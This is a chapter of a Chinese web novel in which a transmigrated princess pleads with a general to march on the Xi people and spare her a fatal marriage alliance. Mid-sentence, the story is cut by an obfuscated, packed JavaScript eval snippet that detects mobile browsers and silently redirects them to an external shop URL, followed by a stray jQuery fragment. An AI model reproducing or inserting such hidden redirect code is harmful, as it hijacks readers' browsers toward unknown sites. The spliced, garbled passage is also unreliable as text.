文趣网 > 其他小说 > 小蛮腰(穿书) > 5. 诉愿
    自打江九亭同意护送后,毛淳觉得这位公主有点过于激动,殷勤得他简直都没眼看了。

    她先是嘱咐所有随行大夫昼夜不离地照顾图副将,各种名贵药材用得上用不上的,都流水似的端进端出。

    对江九亭,别说公主架子,连容家大小姐的傲娇也收敛得一干二净,整日绕着他转,比四喜丸子还要忙。

    毛淳也只能揣着袖子龇着牙,用余光暗示她:祖宗,适可而止吧!

    容熙不以为意,自己不就是让人准备些可口的饭食吗。

    毛淳无语:您那是只准备饭食吗?您就差喂到他嘴里了!

    容熙苦笑。人家可是男主啊,金手指比你那八尺旌节还要粗呢。自己这一遭能不能保住脑袋就全指望他了。所以别说送,他若肯张口,喂又何妨。

    只是连续两日了,容熙端去的食物都被他婉拒,即便她执意留下,最后也被分给了夜里值守的士兵,直到现在他也没尝过一口容家秘制烤肉。

    但容熙可没那么容易气馁,是日傍晚,营帐刚扎上她便命家厨准备晚饭,不到半个时辰她便带着烤肉和九炼香料的天花毕罗,端着装满葡萄酒的金叵罗去见江九亭了。

    她亦如每日欢喜地将食物摆在他面前,介绍它们的可口之处。

    江九亭安静地听她讲完。

    “谢公主好意,您自己……”

    “我吃过了。”她甜笑,把筷子托到他面前。

    江九亭点点头。“那便谢过公主了。”

    他抬手,容熙再次预判了他的打算。“值守的士兵也送过了。”

    江九亭顿住,仍没有要吃的意思。“那就先放这吧,公主请自便。”

    他做了个送客的手势,便自顾起身站在了舆图前,凝神审视着刚刚被他做了标记的地方。

    容熙目光也随他挑起。

    江九亭很高,利落的戎服下宽肩窄腰,脊背挺拔得如苍劲松柏,有股力量感。他身材真的很优越,可他优越的又何止身材,连相貌也是俊朗非凡,完美得无可挑剔。

    不过要非说那不好,大概就是那双薄唇了吧,不是不好看,而是太过精致略显凉薄。

    自打同行后,容熙发现他对自己客气很多,甚至有些冷淡。

    其实她明白,原著里的江九亭本就如此,冷情冷性,一腔子热血扑在沙场,只望持三尺剑立不世功重振家风。战场上的他虎略龙韬、兵行诡道,阴阳之术被他玩得游刃有余;可在生活中,他连个CP都没有,情感能丰富到哪去。据说生母去世他都不曾露面,兄弟姊妹也不甚亲近,大概唯一能牵动他的也只有已故的太子了。

    可明知道他是这样的人,容熙还是愿意相信他。

    尤其夜审那晚,睡意中她知道是他将自己抱回营帐的,他动作又轻又稳,竟让她生出了久违的安全感。

    直觉这东西,有时候真不得不信。

    江九亭在地图前静默筹谋,良久回首才发现小姑娘还坐在那,没了方才的欣欣然,低头垂目,眼角眉梢都挂着落寞,那颗清媚的痣也越发楚楚怜人。

    他喉结动了下,坐回了几案前。思量片刻后,抽出还握在她手里的筷子,默默夹了一只毕罗。

    容熙视线跟上,小脸满是期待。

    “很好吃。”他评价。

    小姑娘眼眸瞬间亮了,像夜里闪烁的星辰,照得人心也跟着亮了几分。

    “其实您不必如此辛苦,您是大魏公主,护您应该的,我定会送您平安抵达敦煌。”

    “我信你!”容熙干脆应。

    这不假思索的信任让江九亭微诧,他沉默片刻,道了句,“抱歉,之前怀疑您身份有所冒犯,还望公主见谅。”

    容熙有点受宠若惊。仔细回想,他指的莫不是那句“若是假公主,杀之何妨”?

    她蓦地笑了,为他斟了杯葡萄酒。“将军谨慎是应该的,您无需道歉。”说罢,想起那夜审问,旋即问:“那突厥俘虏审得如何了,他可都说了?”

    江九亭神色渐凝。

    容熙明白了。“嘴巴真硬,难不成突厥有何不可告人的密谋?”

    “不应该。”江九亭低声回应,“东突厥与大魏北疆接壤,他们若有何举动不该选择西域;而珈寻郡主出嫁西突厥也不过两年,年初可汗还以珈寻郡主的名义送来贡礼,即已联姻,关系不该也说僵便僵。”

    容熙不以为然,娇声咕哝了句:“和亲也不过是暂时修复,根本解决不了问题。”

    江九亭抬眸对视她。

    容熙不惧他目光。“和亲便能阻止他们的狼贪虎视吗?不能,那不过是缓兵之计而已。”说得动情,她提裙靠近他,“和亲的目的无非两种,要么他求安宁依附我中原,要么我们求安宁得一时休战。可有人就不想安宁也不想休战。”

    “突厥不会。”

    “突厥不会,有地方会。”

    江九亭好奇“哦”了声。“比如呢?”

    “奚地。”容熙果断回答,其笃定程度不亚于方才那句“我信你”。

    江九亭皱眉思量,不由得摇头。

    他这是不信?

    容熙急得下意识前倾,长睫眨动,颧骨下那片好看的剪影也跟着焦虑地颤动起来。

    “去岁不待春寒消融奚族便暗地与回纥相通,回纥一直是大魏劲敌,同他联合目的能是什么?不仅回纥,还有年关时分他们暗怂高丽屡犯我东北边境,其意昭昭,了了可见。还有那位新任的奚族首领,刚及弱冠正是贪战好斗之时,他秣兵历马养精蓄锐,觊觎我大魏疆土已久,根本不屑联姻。倒是我大魏不战而畏,为得求边境弹指间的安宁非要上赶着跟人家联姻。”

    小姑娘声音细柔,但不难听出情绪激动,她胸口起起伏伏,两根纤秀的锁骨深得触目惊心。

    “我相信朝廷意识到它的威胁,不然不会提出和亲,但联姻没有用,只有军事干预才能从局势上扼住他们——”

    江九亭被她的话惊到,然更惊还在后面。

    容熙跪坐的身子突然直起,双手叠放毫无征兆地对着江九亭伏地而拜,庄重肃穆。

    江九亭顿时愣住,肃声道:“尊卑有序,江某承受不起公主如此大礼。”

    容熙未动,江九亭伸手去拉她,可起身后她又是一礼——

    江九亭不由得眉心皱起,语气也冷了几分。

    “公主,你究竟何意!”

    容熙抬头,凝视他的清眸中星泪点点。

    她咬着唇压抑自己,可越是克制,泪光越是聚集,明艳的小脸紧绷得让人心疼。江九亭不由得生了丝怜悯,收回视线。“你有话大可直说,不必如此。”

    “将军!”容熙松口了,下唇被咬出排小小的牙印。“请您出兵征讨奚地!”

    江九亭恍然。

    这一刻他都明白了,明白她为何如此了解奚地,明白她为何要自己护送,也明白了这几日她极尽殷勤的目的。

    面前人再次叩拜,他不拦了,而是端坐在几案前,双手搭于膝头审度地盯着她。

    “不可能。”

    容熙错愕。

    “为何?”她急迫问,依旧用那双蛊惑人心的眼睛望向他。

    她紧张得额角鼻尖都是汗,莹润的脸颊因激愤染了诱人的潮红,几根鬓发黏在腮边,一霎间竟有种被人怜爱过的娇媚之色。

    江九亭常年深居军营,未曾沾染女事,乍瞧这幕不由得暗吸了口气。“讨伐需要理由,出师无名不武。”

    “都这份上了,还在乎什么武不武!”容熙焦灼辩驳,“他们已经和回纥建交了,再加之勾结高丽,大魏边境岌岌可危,若再放任下去只怕幽州不保!唇亡齿寒,幽州一失,侵犯京都还会远吗?还有北方的东突厥,看似与中原相安,但自打和西突厥分裂后早已离心离德,况且它一直惧怕回纥,一旦受其蛊惑,那整个北方都要全线受敌,待那时便是十个神武将军也挽救不了了。”

    这道理江九亭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964043|214414||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当然懂,但战事并非她想的那么简单。

    “公主忧国忧民,您所虑我会禀明圣上,待圣上定夺。”

    “他顶个鸟用!”容熙急得容时上身,气愤失言。

    江九亭脸色骤变,冷得怕人。容熙懊悔得再次咬住了红唇,垂下两排长睫不敢与他对视,可那片朦胧卷影下,她小脸依旧倔强。

    江九亭叹了口气,语重心长道:“圣上既已招您归宗,作为公主您要时刻注意分寸,非礼勿言。”

    容熙自知失言理亏,螓首低垂,默默点了点头,乖巧得让心疼。

    江九亭也软了下来,问道:“公主为何如此在意奚地?”

    “因为他要送往奚地和亲的是我呀!”

    容熙终于绷不住了,泪花夺眶而出,沿着粉颊滚落,聚在她尖尖的下巴上,又坠于裙裾,洇出一朵朵凄凄然的花来。

    这氛围完全超出了她的预判,她没想到自己会情绪失控。她没那么脆弱,可这会儿在他面前她就是委屈极了。

    “圣上十六载不曾认我,如今却突然召我入京,为的就是和亲。我不想去,不是我贪求富贵留恋安逸,我只是不想死……”

    “公主,您想多了。”江九亭安慰。

    他起身递了块帕子给她,她却倔强不肯接,江九亭只得又道,“圣上招您入京自然是为归宗。再者也并非所有和亲公主皆是不幸,珈寻郡主不就是个例子么,还有先帝赐婚的弘化公主、衡阳公主,虽藩地不及大魏富庶繁华,但几位公主也是安享尊贵,生活美满。”

    “将军,您明明清楚这都是个例,大魏安邦以来送出去那么多的公主,除了她们又有几位能得善终呢?况且她们所嫁之地皆有意与中原互通友好,可奚地呢?他们刚与大魏的宿敌联手,岂会弃盟友亲大魏?想都不可能,我这一去就是白白送死。”

    其实朝廷对奚族的和亲倾向,江九亭多少有所推度,但圣意未表,他也不好妄加言论。何况庙堂之中,主和派当道,他就是再得皇帝赏识也无法以寡敌众。

    江九亭再次陷入沉默,容熙的绝望都淹到嗓子眼了,她哑声唤了句:“将军,救我!”

    江九亭心猛然一恸,最终还是摇了摇头。

    “军令如山,除非圣上下旨,不然只要奚族一日未犯我大魏,我便一日不可冒然出师。”

    “那非要我命丧奚地,您才能名正言顺地出兵吗?”容熙问道。她并不期待答案,因为这就是她存在的意义。

    “抱歉,我无能为力。”

    江九亭将巾帕塞进她手里,转身便要离开。

    容熙不是听不出他的无奈。确实,除非奚族率先挑衅不然大魏没有理由肆意讨伐,何况大魏国力已不如从前,不敢平白招惹他国。师出无名,最后只会给人家留下讨伐自己的理由。如是看,容熙的死还真是极其必要的一环,谁叫这就是书里的设定呢。

    到底是她天真了,她以为江九亭是那种豪迈不群的性情中人,只要关乎战事,他必是怒发冲冠,原来他也是个极度理智且冷静的,根本不会因她的求情而动容,就像那个突厥士兵说的,他不是个懂得怜香惜玉的人。

    怜香惜玉?

    突厥人?

    容熙原地愣住,刹那之间她想起什么。

    那日的突厥人是怎么说的来着?

    “……祥稳一点都不懂得怜香惜玉啊。”

    他汉话并不标准,所以她只注意到“怜香惜玉”几个字,前面的“祥稳”还以为是他发音不准说的其它什么,现在想想,那不是奚语里的“将军”么!

    容熙不懂奚族话,但这个词她听了太多次了,每每轮回奚族士兵都是这么称呼他们的将军的。

    “将军!”容熙突然起身去拉江九亭,可太过激动她却踩到自己罗裙一角,整个人都扑了过去,江九亭下意识张开双臂托住了她。

    她扑在他怀里拉紧他衣襟,“那不是突厥人!”她仰头看向他,泪眼熠熠生辉:“那是奚人!”